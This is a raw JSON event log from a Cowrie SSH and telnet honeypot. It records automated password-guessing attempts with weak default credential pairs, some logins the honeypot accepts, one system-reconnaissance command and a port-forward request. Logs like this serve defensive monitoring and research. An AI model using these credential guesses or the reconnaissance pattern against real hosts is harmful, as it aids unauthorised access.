{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.739193Z","src_ip":"27.71.230.31","session":"34ebfa1d3113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58328,"dst_ip":"10.17.0.5","dst_port":22,"session":"8996d8e9f591","protocol":"ssh","message":"New connection: 45.156.87.147:58328 (10.17.0.5:22) [session: 8996d8e9f591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.784311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.788086Z","src_ip":"45.156.87.147","session":"8996d8e9f591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.868498Z","src_ip":"45.156.87.147","session":"8996d8e9f591","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.970605Z","src_ip":"87.251.64.176","session":"ddbcd6a8bea6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:48.073382Z","session":"ddbcd6a8bea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:48.111762Z","src_ip":"45.156.87.147","session":"8996d8e9f591","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:48.167693Z","src_ip":"87.251.64.176","session":"ddbcd6a8bea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:48.263055Z","src_ip":"87.251.64.176","session":"ddbcd6a8bea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:49.195313Z","src_ip":"45.156.87.147","session":"8996d8e9f591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34096,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e70d6662c16","protocol":"ssh","message":"New connection: 45.156.87.147:34096 (10.17.0.5:22) [session: 5e70d6662c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:53.676723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:53.680914Z","src_ip":"45.156.87.147","session":"5e70d6662c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:53.764859Z","src_ip":"45.156.87.147","session":"5e70d6662c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:54.012890Z","src_ip":"45.156.87.147","session":"5e70d6662c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:55.100692Z","src_ip":"45.156.87.147","session":"5e70d6662c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.00242567062378,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:55.937104Z","src_ip":"172.81.62.90","session":"26421fa0822e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34108,"dst_ip":"10.17.0.5","dst_port":22,"session":"2828e3b73a81","protocol":"ssh","message":"New connection: 45.156.87.147:34108 (10.17.0.5:22) [session: 2828e3b73a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:59.128347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:59.131660Z","src_ip":"45.156.87.147","session":"2828e3b73a81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:59.213246Z","src_ip":"45.156.87.147","session":"2828e3b73a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:59.459294Z","src_ip":"45.156.87.147","session":"2828e3b73a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:00.636441Z","src_ip":"45.156.87.147","session":"2828e3b73a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.533963680267334,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:03.347571Z","src_ip":"128.199.8.54","session":"eb06a59d4654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47238,"dst_ip":"10.17.0.5","dst_port":22,"session":"1afb674144fc","protocol":"ssh","message":"New connection: 45.156.87.147:47238 (10.17.0.5:22) [session: 1afb674144fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:04.624776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:04.633792Z","src_ip":"45.156.87.147","session":"1afb674144fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:04.718214Z","src_ip":"45.156.87.147","session":"1afb674144fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"toor","message":"login attempt [nginx/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:04.973362Z","src_ip":"45.156.87.147","session":"1afb674144fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:06.073935Z","src_ip":"45.156.87.147","session":"1afb674144fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b654a4c6ab","protocol":"ssh","message":"New connection: 45.156.87.147:46634 (10.17.0.5:22) [session: 95b654a4c6ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:09.888325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:09.893986Z","src_ip":"45.156.87.147","session":"95b654a4c6ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:09.976813Z","src_ip":"45.156.87.147","session":"95b654a4c6ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:10.348665Z","src_ip":"45.156.87.147","session":"95b654a4c6ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:11.434520Z","src_ip":"45.156.87.147","session":"95b654a4c6ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":42546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ac2e3326ff7","protocol":"ssh","message":"New connection: 8.219.200.1:42546 (10.17.0.5:22) [session: 4ac2e3326ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:11.641937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:11.646159Z","src_ip":"8.219.200.1","session":"4ac2e3326ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:11.891432Z","src_ip":"8.219.200.1","session":"4ac2e3326ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:13.065109Z","src_ip":"8.219.200.1","session":"4ac2e3326ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:14.795152Z","src_ip":"8.219.200.1","session":"4ac2e3326ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":46644,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4ba2173fe0","protocol":"ssh","message":"New connection: 45.156.87.147:46644 (10.17.0.5:22) [session: ad4ba2173fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.582174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.586211Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":34034,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4c8c92953d","protocol":"ssh","message":"New connection: 43.166.242.149:34034 (159.203.135.109:22) [session: 1c4c8c92953d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.609617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.613605Z","src_ip":"43.166.242.149","session":"1c4c8c92953d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.668236Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:15.919873Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:16.131367Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:16.134189Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:16.222516Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:16.227624Z","src_ip":"45.156.87.147","session":"ad4ba2173fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54344,"dst_ip":"10.17.0.5","dst_port":22,"session":"263caba26216","protocol":"ssh","message":"New connection: 103.172.78.219:54344 (10.17.0.5:22) [session: 263caba26216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:17.103986Z"}
